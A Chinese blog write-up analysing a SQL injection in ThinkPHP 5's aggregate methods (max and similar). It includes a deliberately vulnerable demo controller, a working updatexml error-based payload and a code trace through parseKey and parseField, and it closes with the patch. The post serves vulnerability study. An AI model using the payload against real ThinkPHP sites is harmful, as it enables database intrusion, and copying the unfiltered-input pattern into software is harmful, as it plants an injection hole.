Thinkphp5 聚合函数 SQL注入

前言

这次的SQL注入问题在于使用了mysql的聚合函数:

本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25

composer create-project topthink/think=5.1.25 thinkphp5.1.25
    "require": {
    
    
        "php": ">=5.6.0",
        "topthink/framework": "5.1.25"
    },
composer update

index控制器:

    public function index()
    {
    
    
        $options = request()->get('options');
        $result = db('users')->max($options);
        var_dump($result);
    }

在这里插入图片描述
记得开启app_debug和app_trace。

分析

有一说一这次的SQL注入也挺离谱的,就跟正常的SQL注入没什么区别,完全感觉不到thinkphp对输入的参数进行了一一定的过滤处理。
你就正常的查询一下:?options=id
在这里插入图片描述
看一下SQL语句:
在这里插入图片描述

SELECT MAX(`id`) AS tp_max FROM `users` LIMIT 1

输入的id是放到了MAX(``)里面,尝试闭合一下前面,注释后面:

?options=id`),updatexml(1,concat(0x7e,database(),0x7e),1) from users%23

在这里插入图片描述
纯小白的话,不看tp具体的代码实现,只是单纯的进行SQL注入的测试同样可以找到这个漏洞。

具体分析一下tp的代码。这个SQL注入的分析相当来说还是很简单的。直接跟进max()方法:
在这里插入图片描述
这里的$field就是我们传入的options的值:
在这里插入图片描述

跟进一下$this->aggregate(),在623行得到查询结果,继续跟进$this->connection->aggregate()方法:
在这里插入图片描述
看到了一个非常熟悉的parseKey方法,之前遇到过几次了,里面的很多代码我们传入的payload其实根本用不到,第三个参数传进了true,因此这个函数将会在$field外面加一层双引号,然后再字符串拼接。

/**
 * 得到某个字段的值
 * @access public
 * @param  Query     $query     查询对象
 * @param  string    $aggregate 聚合方法
 * @param  string    $field     字段名
 * @return mixed
 */
public function aggregate(Query $query, $aggregate, $field)
{
    
    
    $field = $aggregate . '(' . $this->builder->parseKey($query, $field, true) . ') AS tp_' . strtolower($aggregate);

    return $this->value($query, $field, 0);
}

这里得到的$field将是这样:

MAX(`id`),updatexml(1,concat(0x7e,database(),0x7e),1) from users#`) AS tp_max

这里可以直接闭合,但是我们还不清楚这个字符串后面是不是直接替换到tp的那个SQL语句的模板中,继续跟进一下value方法,只关注到生成SQL语句的部分:

/**
 * 得到某个字段的值
 * @access public
 * @param  Query     $query 查询对象
 * @param  string    $field   字段名
 * @param  bool      $default   默认值
 * @return mixed
 */
public function value(Query $query, $field, $default = null)
{
    
    
    $options = $query->getOptions();

    if (empty($options['fetch_sql']) && !empty($options['cache'])) {
    
    
        $cache  = $options['cache'];
        $result = $this->getCacheData($query, $cache, null, $key);

        if (false !== $result) {
    
    
            return $result;
        }
    }

    if (isset($options['field'])) {
    
    
        $query->removeOption('field');
    }

    if (is_string($field)) {
    
    
        $field = array_map('trim', explode(',', $field));
    }

    $query->setOption('field', $field);
    $query->setOption('limit', 1);

    // 生成查询SQL
    $sql = $this->builder->select($query);

$field = array_map('trim', explode(',', $field));这里把传入的$field按逗号分成数组了,我心里一凉,不知道后面会怎么处理:
在这里插入图片描述
跟进到$this->builder->select()方法,还是老样子:

    /**
     * 生成查询SQL
     * @access public
     * @param  Query  $query  查询对象
     * @return string
     */
    public function select(Query $query)
    {
    
    
        $options = $query->getOptions();

        return str_replace(
            ['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
            [
                $this->parseTable($query, $options['table']),
                $this->parseDistinct($query, $options['distinct']),
                $this->parseField($query, $options['field']),
                $this->parseJoin($query, $options['join']),
                $this->parseWhere($query, $options['where']),
                $this->parseGroup($query, $options['group']),
                $this->parseHaving($query, $options['having']),
                $this->parseOrder($query, $options['order']),
                $this->parseLimit($query, $options['limit']),
                $this->parseUnion($query, $options['union']),
                $this->parseLock($query, $options['lock']),
                $this->parseComment($query, $options['comment']),
                $this->parseForce($query, $options['force']),
            ],
            $this->selectSql);
    }

跟进parseField()方法:

/**
 * field分析
 * @access protected
 * @param  Query     $query     查询对象
 * @param  mixed     $fields    字段名
 * @return string
 */
protected function parseField(Query $query, $fields)
{
    
    
    if ('*' == $fields || empty($fields)) {
    
    
        $fieldsStr = '*';
    } elseif (is_array($fields)) {
    
    
        // 支持 'field1'=>'field2' 这样的字段别名定义
        $array = [];

        foreach ($fields as $key => $field) {
    
    
            if (!is_numeric($key)) {
    
    
                $array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true);
            } else {
    
    
                $array[] = $this->parseKey($query, $field);
            }
        }

        $fieldsStr = implode(',', $array);
    }

    return $fieldsStr;
}

其实说白了就这几行代码:

foreach ($fields as $key => $field) {
    
    
......
$array[] = $this->parseKey($query, $field);
......
$fieldsStr = implode(',', $array);

这里还是parseKey,但是因为传入的$strict不是true,加上里面的其他if都满足不了,最终就是返回自己return $key;,所以parseKey并无影响,最终再把数组以逗号分隔来转化成字符串,其实还是相当于没处理:
在这里插入图片描述

MAX(`id`),updatexml(1,concat(0x7e,database(),0x7e),1) from users#`) AS tp_max

之后是SQL模板语句的替换,这样就成功闭合了前面,注释了后面,然后SQL语句再执行,最后产生的SQL语句如下:

SELECT MAX(`id`),updatexml(1,concat(0x7e,database(),0x7e),1) from users#`) AS tp_max FROM `users` LIMIT 1

成功SQL注入,整个过程还是比较清晰简单的。

修复

在这里插入图片描述
在这里插入图片描述
更新了parseKey方法,匹配到不是字母,点,星号的就会抛出异常。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114577841